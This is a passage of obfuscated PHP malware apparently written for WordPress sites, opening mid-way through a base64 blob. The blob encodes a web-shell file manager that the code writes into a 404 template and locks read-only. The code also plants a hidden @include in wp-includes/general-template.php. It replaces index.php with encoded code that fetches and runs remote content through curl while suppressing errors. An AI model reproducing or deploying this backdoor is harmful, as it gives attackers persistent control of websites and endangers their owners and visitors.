Qy9wZExvSjNZTWVSWmZRbDlKcjZBZnA1K21EOUhjTURZWU5nOGRJWWlnWmF4bDdHYWNZdHhrdm1VeW1CZE9YbWNoVU1OY3lHNWxubUErWWIxVllLdllxZkJXUnloS1ZPcFZXbFg2VjU2cFVWWE5WUDlWNXFndFVxMVVQcTE1V2ZhWkdWYk5RNDZrSjFCYXIxYWtkVmJ1cE5xN09VbmRTajFEUFVWK2p2bC85Z3ZwakRiS0doVWFnaGtpalZHTzN4aG1OSVJiR01tWHhXRUxXY2xZRDZ5eHJtRTFpVzdMNTdFeDJCZnNiZGk5N1RGTkRjNnBtckdhUlpwM21jYzBCRHNheDRQQTUyWnhLemlIT0RjNTdMUU10UHkyeDFtcXRacTErclRmYWV0cSsybUx0Y3UwVzdldmE3M1Z3blVDZExKMzFPbTA2OTNVSnVqYTZVYnFGdXR0MXorbyswMlByZWVrSjljcjFEdW5kMFVmMWJmU2o5UmZxNzlidjBSODNNRFFJTnBBWmJERTRZL0RNa0dQb2E1aHB1Tkh3aE9Hb0VjdG91cEhFYUtQUlNhTW51Q2J1aDJmak5YZ1hQbWFzYnh4aXJEVGVaZHhyUEdGaWFUTGJwTVNreGVTK0tjMlVhNXBtdXRHMDAzVE16TWdzM0t6WXJNbnNqam5Wbkd1ZVliN1p2TnY4allXbFJaekZTb3MyaThlVzJwWjh5d1dXVFpiM3JKaFdQbFo1VnZWVzE2eEoxbHpyTE90dDFsZHNVQnRYbXd5Yk9wdkx0cWl0bTYzRWRwdHQzeFRpRkk4cDBpbjFVMjdhTWV6ODdBcnNtdXdHN1RuMllmWWw5bTMyengzTUhCSWQxanQwTzN4eWRIWE1kbXh3dk91azRUVERxY1NwdytsWFp4dG5vWE9kOHpVWHBrdVF5eEtYZHBjWFUyMm5pcWR1bjNyTGxlVWE3cnJTdGRQMW81dTdtOXl0MlczVTNjdzl4WDJyKzAwdW14dkpYY005NzBIMDhQZFk0bkhNNDUybm02ZkM4NURuTDE1MlhsbGUrNzBlVDdPY0pwN1dNRzNJMjhSYjRMM0xlMkE2UGoxbCtzN3BBejdHUGdLZmVwK0h2cWErSXQ4OXZpTisxbjZaZmdmOG52czcrc3Y5ai9pLzRYbnlGdkZPQldBQndRSGxBYjJCR29HekEyc0RId1NaQktVSE5RV05CYnNHTHd3K0ZVSU1DUTFaSDNLVGI4QVg4aHY1WXpQY1p5eWEwUlhLQ0owVldodjZNTXdtVEI3V0VZNkd6d2pmRUg1dnB2bE02Y3kyQ0lqZ1IyeUl1QjlwR1prWCtYMFVLU295cWk3cVViUlRkSEYwOXl6V3JPUlorMmU5anZHUHFZeTVPOXRxdG5KMlo2eHFiRkpzWSt5YnVJQzRxcmlCZUlmNFJmR1hFblFUSkFudGllVEUyTVE5aWVOekF1ZHNtak9jNUpwVWxuUmpydVhjb3JrWDV1bk95NTUzUEZrMVdaQjhPSVdZRXBleVArV0RJRUpRTHhoUDVhZHVUUjBUOG9TYmhVOUZ2cUtOb2xHeHQ3aEtQSkxtblZhVjlqamRPMzFEK21pR1QwWjF4ak1KVDFJcmVaRVprcmtqODAxV1JOYmVyTS9aY2RrdE9aU2NsSnlqVWcxcGxyUXIxekMzS0xkUFppc3JrdzNrZWVadHlodVRoOHIzNUNQNWMvUGJGV3lGVE5HanRGS3VVQTRXVEMrb0szaGJHRnQ0dUVpOVNGclVNOTltL3VyNUl3dUNGbnk5a0xCUXVMQ3oyTGg0V2ZIZ0lyOUZ1eFlqaTFNWGR5NHhYVks2WkhocDhOSjl5MmpMc3BiOVVPSllVbFh5YW5uYzhvNVNnOUtscFVNcmdsYzBsYW1VeWN0dXJ2UmF1V01WWVpWa1ZlOXFsOVZiVm44cUY1VmZySENzcUs3NHNFYTQ1dUpYVGwvVmZQVjViZHJhM2txM3l1M3JTT3VrNjI2czkxbS9yMHE5YWtIVjBJYndEYTBiOFkzbEcxOXRTdDUwb1hwcTlZN050TTNLelFNMVlUWHRXOHkyck52eW9UYWo5bnFkZjEzTFZ2MnRxN2UrMlNiYTFyL2RkM3Z6RG9NZEZUdmU3NVRzdkxVcmVGZHJ2VVY5OVc3UzdvTGRqeHBpRzdxLzVuN2R1RWQzVDhXZWozdWxld2YyUmUvcmFuUnZiTnl2djcreUNXMVNObzBlU0RwdzVadUFiOXFiN1pwM3RYQmFLZzdDUWVYQko5K21mSHZqVU9paHpzUGN3ODNmbVgrMzlRanJTSGtyMGpxL2Rhd3RvMjJnUGFHOTcraU1vNTBkWGgxSHZyZi9mdTh4NDJOMXh6V1BWNTZnblNnOThmbmtncFBqcDJTbm5wMU9QejNVbWR4NTkwejhtV3RkVVYyOVowUFBuajhYZE81TXQxLzN5ZlBlNTQ5ZDhMeHc5Q0wzWXRzbHQwdXRQYTQ5UjM1dy9lRklyMXR2NjJYM3krMVhQSzUwOUUzck85SHYwMy82YXNEVmM5ZjQxeTVkbjNtOTc4YnNHN2R1SnQwY3VDVzY5ZmgyOXUwWGR3cnVUTnhkZW85NHIveSsydjNxQi9vUDZuKzAvckZsd0czZytHREFZTS9EV1EvdkRnbUhudjZVLzlPSDRkSkh6RWZWSTBZampZK2RIeDhiRFJxOThtVE9rK0duc3FjVHo4cCtWdjk1NjNPcjU5Lzk0dnRMejFqODJQQUwrWXZQdjY1NXFmTnk3NnVwcnpySEk4Y2Z2TTU1UGZHbS9LM08yMzN2dU8rNjM4ZTlINWtvL0VEK1VQUFIrbVBIcDlCUDl6N25mUDc4TC9lRTgvc2wwcDh6QUFBQUlHTklVazBBQUhvbEFBQ0Fnd0FBK2Y4QUFJRHBBQUIxTUFBQTZtQUFBRHFZQUFBWGI1SmZ4VVlBQUFHNFNVUkJWSGphZkpMUGFoTlJGTVovOTl5WmFiQnhDTk5LaXlnb3hHQ2dsQlpjdUNnSTlnMktMMU5Dd1M1S1g4QW5VTG9TdW5QVnJkdkdnQnVwRVYyNEVXUUNNOG5NNU0rOTE4Vk1SdU9pMytyQ1BkLzVmZWZjcTE3MVhqdTA1VGJadWVIeS9Fd0JlR2pMMjVNVDVzYXdNSWFKWFRWL0dneDRkM1hGMFhIUFhaNmZLUUd3MXJJd2hwa3htT21VUE10SXgyT1NKR0djcHJ3L1BVVjh6ZEZ4ejhrNFRldHVnZFkwZ29CQWF6d1JsQWh4SFBQbTRvSVhuUTZmQjMwOEFCSGhZNzhQd05aNnhLOUp6RzYzQzhETHcwT2N0WVJoeUlmcjY5SUEwRzYzY1ZYK0ppMGFRUUN6R1FDTGYyYnlBTFJTRElmRHVqdkF0Nm9nOGhyRWk0TDl2YjNTVUdRWlNvU25uUTRMYTdsTFZKT1d1bDhVQUJSWlZzM2dIRjl1YnVxQ0pXbHJQU3BwazVpRDdlMktrT2NBN0hhN3pJd3BNLzlIYXRMQzA1b2l6LzhPL2ZQcmQ4S1d6NC9mYVUwQm1FOHovTFU3Nk0zTmtqQXRDclFJRDU0OExrbjNZR1lNRDZNSWF5Mm1vZ0pNaTJLVkFCQzJmUExjNTlIR0JvZ0FZSXhCcXJPM2ZPbUQ1OC9LeXlxM2NRNnRWRzBDR0tjcFhqSWFyYXhRaTJDc0xZc0JKWUpUQ2lWQ01ocWhtanM3enRyYnYvZFNJc0tmQVFEZklzS0h2QVpZWkFBQUFBQkpSVTVFcmtKZ2dnPT0nPg0KDQoiOw0KLy8gPGEgaHJlZj1cIj9BUlJBWT17JEFSUkFZfSZmaWxlc3JjPSRwYXRoLyRmaWxlJnBhdGg9JHBhdGhcIj4kZmlsZTwvYT4NCiAgICAgICAgZWNobyAiDQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPXskcGF0aH0mb3B0PWVkaXQmdHlwZT1maWxlJm5hbWU9eyRmaWxlfVwiPnskZmlsZX08L2E+DQo8L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWU+PGNlbnRlcj4iLiRzaXplLiI8L2NlbnRlcj48L3RkPg0KPHRkIGNsYXNzPXRkX2hvbWUgYWxpZ249J2NlbnRlcic+PGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9Y2htb2QmdHlwZT1maWxlJm5hbWU9JGZpbGVcIiB0aXRsZT0n5p2D6ZmQ6K6+572uJz4iOw0KDQoNCg0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9ImdyZWVuIj4nOw0KICAgICAgICBlbHNlaWYoIWlzX3JlYWRhYmxlKCIkcGF0aC8kZmlsZSIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOw0KICAgICAgICBlY2hvIGp1ZWppYW5nX3Blcm1zKCIkcGF0aC8kZmlsZSIpOw0KICAgICAgICBpZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOw0KICAgICAgICBlY2hvICI8L2E+PC90ZD4NCjx0ZCBjbGFzcz10ZF9ob21lPjxjZW50ZXI+DQo8YSBocmVmPVwiP29wdGlvbiZBUlJBWT17JEFSUkFZfSZwYXRoPSRwYXRoJm9wdD1lZGl0JnR5cGU9ZmlsZSZuYW1lPSRmaWxlXCI+57yW6L6RPC9hPg0KPGEgaHJlZj1cIj9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD0kcGF0aCZvcHQ9cmVuYW1lJnR5cGU9ZmlsZSZuYW1lPSRmaWxlJnBhdGg9JHBhdGhcIj7ph43lkb3lkI08L2E+DQo8YSBocmVmPVwiamF2YXNjcmlwdDppZihjb25maXJtKCfnoa7lrp7opoHliKDpmaTlkJc/JykpbG9jYXRpb249Jz9vcHRpb24mQVJSQVk9eyRBUlJBWX0mcGF0aD17JHBhdGh9Jm9wdD1kZWxldGUmdHlwZT1maWxlJm5hbWU9eyRmaWxlfSdcIj7liKDpmaQ8L2E+DQo8L2NlbnRlcj48L3RkPg0KPC90cj4iOw0KICAgIH0NCiAgICBlY2hvICc8L3RhYmxlPg0KPC9kaXY+JzsNCn0NCmVjaG8gJzxicj48YnI+PGJyPjxicj48L2I+DQo8L2JvZHk+IDwvaHRtbD48L2JvZHk+DQo8L2h0bWw+JzsNCmRpZTsNCmVuZGlmOyAgLy8gPT09PQ0KDQoNCg0KDQoNCg0K"; // WP 404 @chmod($jue_jiang_404_path, 0644); @file_put_contents($jue_jiang_404_path, base64_decode($jue_jiang_404)); @chmod($jue_jiang_404_path, 0444); } $file_general_template_path = $do."wp-includes/general-template.php"; $general_template_code = @file_get_contents($file_general_template_path); $gen_mat = base64_decode("QGluY2x1ZGVbXHNdKyIoXFxbeDAtOV0uKz8pIjs="); $isget_mat = preg_match("/{$gen_mat}/i",$general_template_code)?true:false; if (!$isget_mat){ $mc1 = "KGZ1bmN0aW9uW1xzXStnZXRfaGVhZGVyKFtcc10rKT9cKCguKz8peyk="; preg_match_all("/".base64_decode($mc1)."/i",$general_template_code,$pr); $str = "\x" . substr(chunk_split(bin2hex($jue_jiang_404_path), 2, "\x"), 0, -2); $new_general_template = str_replace($pr[0][0],$pr[0][0].PHP_EOL.PHP_EOL." @include \"$str\";",$general_template_code); @file_put_contents($file_general_template_path,$new_general_template); } error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = 